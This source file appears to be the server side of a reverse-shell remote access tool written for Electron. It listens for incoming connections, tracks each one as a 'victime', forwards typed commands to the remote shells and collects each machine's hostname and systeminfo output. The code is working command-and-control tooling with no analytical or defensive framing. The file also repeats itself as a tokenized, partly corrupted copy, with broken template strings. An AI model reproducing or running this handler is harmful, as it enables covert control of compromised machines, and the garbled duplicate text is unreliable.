src/main/server.js
/**
     * Function to create and listening on server.
     * @param  {Object} connection
     * @return {Boolean} Listening OR Not listening
     */
Function to create and listening on server.
@param  {Object} connection
@return {Boolean} Listening OR Not listening
Function to create and listening on server . @param { Object } connection @return { Boolean } Listening OR Not listening
createServer (connection) {
    var net = require('net')
    this.server = new net.Server()
    process.on('SIGTERM', () => {
      this.server.close()
    })
    this.server.on('listening', () => {
      if (store.getters.notification) {
        var notif = new Notification({
          title: 'Server is ON',
          body: `Le serveur ecoute sur le port ${
              this.server.address().port
            } et l'adresse ${this.server.address().address}`
        })
        notif.show()
      }
    })
    this.server.on('close', () => {
      if (store.getters.notification) {
        var notif = new Notification({
          title: 'Server closed',
          body: "Le serveur n'ecoute plus sur le port"
        })
        notif.show()
      }
    })
    this.server.on('error', (e) => {
      if (e.code === 'EADDRINUSE') {
        console.log('Address in use, retrying...')
      }
    })
    this.server.on('connection', (socket) => {
      var alreadyExist = false
      this.sockets.forEach((soc) => {
        if (soc.remoteAddress === socket.remoteAddress) {
          alreadyExist = true
        }
      })
      if (alreadyExist) {
        socket.end()
      } else {
        socket.setKeepAlive(true, Infinity)
        socket.setDefaultEncoding('utf8')
        socket.id = nanoid(10)
        this.addVictime(socket)
        socket.on('error', (e) => {
          console.log(e)
          if (e.code === 'ECONNRESET') {
            console.log('Socket end shell with CTRL+C')
            console.log('DEL[ERROR]: ' + socket.id)
          }
        })
        socket.on('close', () => {
          console.log('DEL[CLOSE]: ' + socket.id)
          this.deleteVictime(socket.id)
        })
        socket.on('end', () => {
          console.log('DEL[END]: ' + socket.id)
          this.deleteVictime(socket.id)
        })
        socket.on('timeout', () => {
          console.log('timeoiut .')
        })
        var cmd = ''
        ipcMain.on('cmd', (event, res) => {
          if (socket.id === res.id) {
            cmd = res.msg.trim() + '\n'
            var child = this.sockets.get(res.id)
            child.write(cmd)
          }
        })
        var hostname = false
        var systeminfo = false
        socket.on('data', (data) => {
          if (hostname) {
            console.log(
              'HOSTNAME: ' +
                  data
                    .toString()
                    .trim()
                    .split('\n')[0]
            )
            var victime = this.sockets.get(socket.id)
            victime.hostname = data.toString().trim()
            this.sockets.set(socket.id, victime)
            this.addInformation({
              id: socket.id,
              property: { name: 'hostname', data: data.toString().trim() }
            })
            hostname = false
          } else if (systeminfo) {
            this.mainWin.webContents.send('systeminfo', data.toString())
            systeminfo = false
          }
          data.toString().includes('hostname') ? (hostname = true) : (hostname = false)
          data.toString().includes('systeminfo /FO CSV') ? (systeminfo = true) : (systeminfo = false)
          if (!hostname && !systeminfo) {
            this.mainWin.webContents.send('datarec', {
              data: data.toString('utf8'),
              id: socket.id
            })
          }
        })
      }
    })
    this.server.listen({ host: connection.ip, port: connection.port }, () => {
      console.log(`🔥 Server listen in ${connection.port}`)
    })
    return this.server.listening
  }
createServer ( connection ) { var net = require ( 'net' ) this . server = new net . Server ( ) process . on ( 'SIGTERM' , ( ) => { this . server . close ( ) } ) this . server . on ( 'listening' , ( ) => { if ( store . getters . notification ) { var notif = new Notification ( { title : 'Server is ON' , body : ` ${ this . server . address ( ) . port } ${ this . server . address ( ) . address } ` } ) notif . show ( ) } } ) this . server . on ( 'close' , ( ) => { if ( store . getters . notification ) { var notif = new Notification ( { title : 'Server closed' , body : "Le serveur n'ecoute plus sur le port" } ) notif . show ( ) } } ) this . server . on ( 'error' , ( e ) => { if ( e . code === 'EADDRINUSE' ) { console . log ( 'Address in use, retrying...' ) } } ) this . server . on ( 'connection' , ( socket ) => { var alreadyExist = false this . sockets . forEach ( ( soc ) => { if ( soc . remoteAddress === socket . remoteAddress ) { alreadyExist = true } } ) if ( alreadyExist ) { socket . end ( ) } else { socket . setKeepAlive ( true , Infinity ) socket . setDefaultEncoding ( 'utf8' ) socket . id = nanoid ( 10 ) this . addVictime ( socket ) socket . on ( 'error' , ( e ) => { console . log ( e ) if ( e . code === 'ECONNRESET' ) { console . log ( 'Socket end shell with CTRL+C' ) console . log ( 'DEL[ERROR]: ' + socket . id ) } } ) socket . on ( 'close' , ( ) => { console . log ( 'DEL[CLOSE]: ' + socket . id ) this . deleteVictime ( socket . id ) } ) socket . on ( 'end' , ( ) => { console . log ( 'DEL[END]: ' + socket . id ) this . deleteVictime ( socket . id ) } ) socket . on ( 'timeout' , ( ) => { console . log ( 'timeoiut .' ) } ) var cmd = '' ipcMain . on ( 'cmd' , ( event , res ) => { if ( socket . id === res . id ) { cmd = res . msg . trim ( ) + '\n' var child = this . sockets . get ( res . id ) child . write ( cmd ) } } ) var hostname = false var systeminfo = false socket . on ( 'data' , ( data ) => { if ( hostname ) { console . log ( 'HOSTNAME: ' + data . toString ( ) . trim ( ) . split ( '\n' ) [ 0 ] ) var victime = this . sockets . get ( socket . id ) victime . hostname = data . toString ( ) . trim ( ) this . sockets . set ( socket . id , victime ) this . addInformation ( { id : socket . id , property : { name : 'hostname' , data : data . toString ( ) . trim ( ) } } ) hostname = false } else if ( systeminfo ) { this . mainWin . webContents . send ( 'systeminfo' , data . toString ( ) ) systeminfo = false } data . toString ( ) . includes ( 'hostname' ) ? ( hostname = true ) : ( hostname = false ) data . toString ( ) . includes ( 'systeminfo /FO CSV' ) ? ( systeminfo = true ) : ( systeminfo = false ) if ( ! hostname && ! systeminfo ) { this . mainWin . webContents . send ( 'datarec' , { data : data . toString ( 'utf8' ) , id : socket . id } ) } } ) } } ) this . server . listen ( { host : connection . ip , port : connection . port } , ( ) => { console . log ( ` on nection.po r t}`) } ) return this . server . listening }
Function to create and listening on server.
Function to create and listening on server .
/**
       * This events is called when server is successfully listened, See {this.server.listen()} for more detaille
       */ /**
       * This event is called when server is successfully closed
       */ /**
       * @param  {Error} e
       * This events is called when error occur in server
       */ /**
       * This events is called when a new victime is connected to server
       */ /**
       * @param  {String} host
       * @param  {Number} port
       * This events is called to etablish listening in server with IP & Port
       */